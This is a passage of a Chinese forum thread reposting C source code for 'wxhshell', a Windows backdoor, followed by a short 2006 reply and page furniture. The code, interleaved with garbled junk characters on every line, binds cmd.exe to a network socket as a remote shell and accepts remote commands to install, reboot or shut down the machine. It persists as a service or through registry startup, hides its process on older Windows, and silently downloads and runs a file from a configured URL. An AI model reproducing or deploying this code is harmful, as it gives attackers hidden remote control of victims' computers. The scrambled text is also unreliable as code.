  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jkj7ty.J  
  else :'Gn?dv|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0'*{BAWx  
  } A@< !'  
  else { 5B:"$vC{=  
]pe7I P  
    switch(cmd[0]) { TM6wjHFm  
  6w &<j&V  
  // 帮助 _@>*]g  
  case '?': { xwsl$Rj  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); YQ:$m5ai  
    break; fpQFNV  
  } jGo%Aase  
  // 安装 xL_QTj  
  case 'i': { >4wigc  
    if(Install()) E8kD#tL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p]S'pzh  
    else V z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Awfd0L;9  
    break; BTr oe=R  
    } d4IQ;u  
  // 卸载 zu?112-v2  
  case 'r': { [x 7Rq_^  
    if(Uninstall()) :|5 m"X\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cu%BU}(  
    else 4 `l$0m@>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E!}'cxb^  
    break; [F*yh9%\  
    } *%jXjTA0D  
  // 显示 wxhshell 所在路径 &J/!D#  
  case 'p': { ]~  N.  
    char svExeFile[MAX_PATH]; :K~@JlJd  
    strcpy(svExeFile,"\n\r"); ?84f\<"  
      strcat(svExeFile,ExeFile); 2*`kkS  
        send(wsh,svExeFile,strlen(svExeFile),0); g~21|Sa$[  
    break; >yn?@ve@  
    } ph b ;D  
  // 重启 HHw&BNQG  
  case 'b': { 5w>TCx  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @dK_w 'W  
    if(Boot(REBOOT)) |+8rYIms`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  Hvz;[!  
    else { -T+YMAFU_  
    closesocket(wsh); v,Kum<oi?  
    ExitThread(0); MbYgGE,LA  
    } 8?L-3/  
    break; g,YF$:e  
    } P2ySjgd  
  // 关机 nO6UlY  
  case 'd': { }L Q%%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]{i0?c  
    if(Boot(SHUTDOWN)) @+~URIG)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &0* l:uw  
    else { PQ!'<  
    closesocket(wsh); Ye|gW=FUR  
    ExitThread(0); &/' O?HWl  
    } (oiQ5s^f  
    break; &Pv$nMB$I  
    } p79QEIbk=  
  // 获取shell nY;Sk#9  
  case 's': { #%GBopv  
    CmdShell(wsh); ,%/F,O+#  
    closesocket(wsh); s!gVY!0  
    ExitThread(0); 1HSt}  
    break; e"EGqn&!  
  } p{qA%D  
  // 退出 0"@J*e#  
  case 'x': { Z 5 .cfI[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3:sc%IDP  
    CloseIt(wsh); M4 ?>x[Pw  
    break; c;29GHs2  
    } V=1yg24B<  
  // 离开 Vd.XZ*}r*  
  case 'q': { H^B,b !5i  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _{LmJ?!  
    closesocket(wsh); c-7Zk!LfD  
    WSACleanup(); ]*$o qn=m  
    exit(1); IO?a.L:6U  
    break; Eos;7$u[  
        } o}wRgG  
  } [=-,i#4  
  } e7Gb7c~  
<#Fex'4  
  // 提示信息 mT j  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {9@E[bWp#  
} H- WNu+  
  } .Xxxz Wyk  
(7~vOWs:[  
  return; 1-4[w *u>  
} +K=RMqM-8  
NXOvC!<  
// shell模块句柄 L^s?EqLXS  
int CmdShell(SOCKET sock) guy!/zQ>A  
{ Ra~:O\Z  
STARTUPINFO si; sdewz(xskj  
ZeroMemory(&si,sizeof(si)); 4^6Oh#p0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u0uz~ s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; D* HK[_5  
PROCESS_INFORMATION ProcessInfo;  >qI:  
char cmdline[]="cmd"; (hY^E(D  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hL;??h,!_  
  return 0; lm'.G99{  
} 9 771D  
at3YL[,[Z  
// 自身启动模式 !VfVpi+-  
int StartFromService(void) ,5sv;  
{ x||b :2  
typedef struct 7w0=i Z>K  
{ P}PMRAek  
  DWORD ExitStatus; .R^]<b:`  
  DWORD PebBaseAddress; 6~k qU4lL  
  DWORD AffinityMask; n;dWb$:  
  DWORD BasePriority; 52 DSKL  
  ULONG UniqueProcessId; .B$3y#TOb  
  ULONG InheritedFromUniqueProcessId; Gg7ZSB 7  
}   PROCESS_BASIC_INFORMATION; Pb :6nH=  
6z67%U*8r  
PROCNTQSIP NtQueryInformationProcess; ht5:kt`F  
dp1t]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Rk{2ZUeg  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; tkix@Q!;\  
0*u X2*  
  HANDLE             hProcess; Cmj `WSSa  
  PROCESS_BASIC_INFORMATION pbi; c$3ZEe  
yD ur9Qd6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ui^v.YCMI  
  if(NULL == hInst ) return 0; jmnrpXaAx  
A`b )7+mB  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); RKz _GEH)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); w?p8)Q6m  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); DZ;2aH  
_ID =]NJ_  
  if (!NtQueryInformationProcess) return 0; (pQ$<c  
rg+3pX\{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &sPu 3.p  
  if(!hProcess) return 0; q/YO5>s15  
f]^ @z<FC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; V P4ToYc  
}(if|skau  
  CloseHandle(hProcess); P,Rqv)}X  
s!BZrVM%I`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); P~*v}A  
if(hProcess==NULL) return 0; TsZX'Yn  
l_*:StyR+  
HMODULE hMod; %O&C\{J  
char procName[255]; s}Sxl0  
unsigned long cbNeeded; _:;j)J0  
evGUSol?:n  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m-!z(vcn  
,k3aeM~`%w  
  CloseHandle(hProcess); o!t1EPJE*  
@-qC".CI  
if(strstr(procName,"services")) return 1; // 以服务启动 [ w1"  
! J@pox-t  
  return 0; // 注册表启动 gbRdng7(}  
} TMQu'<?V  
*C?x\.\C  
// 主模块 } "ts  
int StartWxhshell(LPSTR lpCmdLine)  =!Y{Mz  
{ h?:Y\DlU'  
  SOCKET wsl; _.Bite^  
BOOL val=TRUE; [?`c>  
  int port=0; V/-~L]G  
  struct sockaddr_in door; *`V-zD  
#[#dc]D  
  if(wscfg.ws_autoins) Install(); xR;-qSl7Ms  
Q,`Y  
port=atoi(lpCmdLine); 0Z{(,GU  
jNNl5.  
if(port<=0) port=wscfg.ws_port; .el_pg  
&_E*]Sj\  
  WSADATA data; 7u^6`P  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $T0|zPK5  
!kfnqe?|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   W}1h~rNy  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); uQ.VW/>  
  door.sin_family = AF_INET; .*g;2.-qv&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); I1H:h  
  door.sin_port = htons(port); _?2xIo  
l9.wMs*`X  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4.dMNqU  
closesocket(wsl); *WgP+"h  
return 1; KXFa<^\o  
} 0\U28zbMJw  
2h6F j&  
  if(listen(wsl,2) == INVALID_SOCKET) { o&~z8/?LA  
closesocket(wsl); #z t+U^#)  
return 1; {w^flizY  
} {UYqRfgbZ  
  Wxhshell(wsl); `czXjZE  
  WSACleanup(); t5N4d  
{_/6,22j(V  
return 0; +o/;bm*U<K  
MOmp{@  
} u-k?ef  
XfsCu>  
// 以NT服务方式启动 oci-[CI,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1^zF/$%  
{ %r!  
DWORD   status = 0; .+B)@?  
  DWORD   specificError = 0xfffffff; 3G8uXB_`}  
vFCp= 8h  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +uwjZN'9a  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 28BiuxVW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; a3lo;Cfp  
  serviceStatus.dwWin32ExitCode     = 0; XLbrE|0A?  
  serviceStatus.dwServiceSpecificExitCode = 0; h=4{.EegG&  
  serviceStatus.dwCheckPoint       = 0; xG}eiUbM`  
  serviceStatus.dwWaitHint       = 0; KQ9:lJKr  
b8v$*{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); TPEZ"%=Hg  
  if (hServiceStatusHandle==0) return; #lLL5ji  
"iZ-AG!C  
status = GetLastError(); "a"[B'  
  if (status!=NO_ERROR) ln=zGX.e  
{ v*BA\&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Iwn@%?7  
    serviceStatus.dwCheckPoint       = 0; 8w*fg6,=  
    serviceStatus.dwWaitHint       = 0; *j*jA/  
    serviceStatus.dwWin32ExitCode     = status; &1':s|c  
    serviceStatus.dwServiceSpecificExitCode = specificError; @i)tQd!s  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); bo -Gh`  
    return; (wY% $kW4  
  } UZAWh R  
7R2)Klt  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; s{: Mu~v  
  serviceStatus.dwCheckPoint       = 0; 4*9Dh  
  serviceStatus.dwWaitHint       = 0; 25 ~$qY_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); u('OHPqq  
} Sl_zO?/PF  
F'~/  
// 处理NT服务事件,比如:启动、停止 YI|G pq  
VOID WINAPI NTServiceHandler(DWORD fdwControl) yED^/=\)}  
{ /1>  
switch(fdwControl) \S@A /t6pa  
{ bT*4Qd4W  
case SERVICE_CONTROL_STOP: 0Its;|  
  serviceStatus.dwWin32ExitCode = 0; ( gFA? aD<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &+^ # `nq  
  serviceStatus.dwCheckPoint   = 0; T8(wzs  
  serviceStatus.dwWaitHint     = 0; Ni)#tz_9  
  { h9-Ky@X`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }n 7e_qy4  
  } RQ'c~D)X  
  return; GJuD :  
case SERVICE_CONTROL_PAUSE: 4>Y\2O?**  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; w${=dW@K  
  break; *Fc&DQT(  
case SERVICE_CONTROL_CONTINUE: D7(t6C=FP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; H.mG0x`M"E  
  break; :58'U|  
case SERVICE_CONTROL_INTERROGATE: 2r0!h98  
  break; ri;M7rg`.{  
}; 5q#|sVT7R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3.H-G~  
} @~XlI1g$i  
:Ir:OD# o  
// 标准应用程序主函数 \xZBu"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *;d)'7<  
{ DQICD.X6R  
cs M|VNE>  
// 获取操作系统版本 7x]nY.\  
OsIsNt=GetOsVer(); 11T\2&Q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7 tpZE+OX  
m wCnP8:K  
  // 从命令行安装 Rx"Qwi,\U  
  if(strpbrk(lpCmdLine,"iI")) Install(); F?ebY k1  
@]tGfr;le&  
  // 下载执行文件 j*`!o/=LI  
if(wscfg.ws_downexe) { zs:7!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .rm7Sd4K  
  WinExec(wscfg.ws_filenam,SW_HIDE); FxX3Pq8h  
} IpXhb[UZ?  
G0> Wk#or  
if(!OsIsNt) { mO> M=2A  
// 如果时win9x,隐藏进程并且设置为注册表启动 CEq]B:[IC  
HideProc(); PI \,`^)y  
StartWxhshell(lpCmdLine); ]e~^YZOs  
} 05 Q8`  
else XL=R]IC<.  
  if(StartFromService()) P$>kBW53  
  // 以服务方式启动 Ux T[  
  StartServiceCtrlDispatcher(DispatchTable); Kn$1W=B1.  
else gtGKV  
  // 普通方式启动 mZVOf~9E  
  StartWxhshell(lpCmdLine); z 2VCK@0  
O9X:1>a@i  
return 0; C(HmLEB^  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八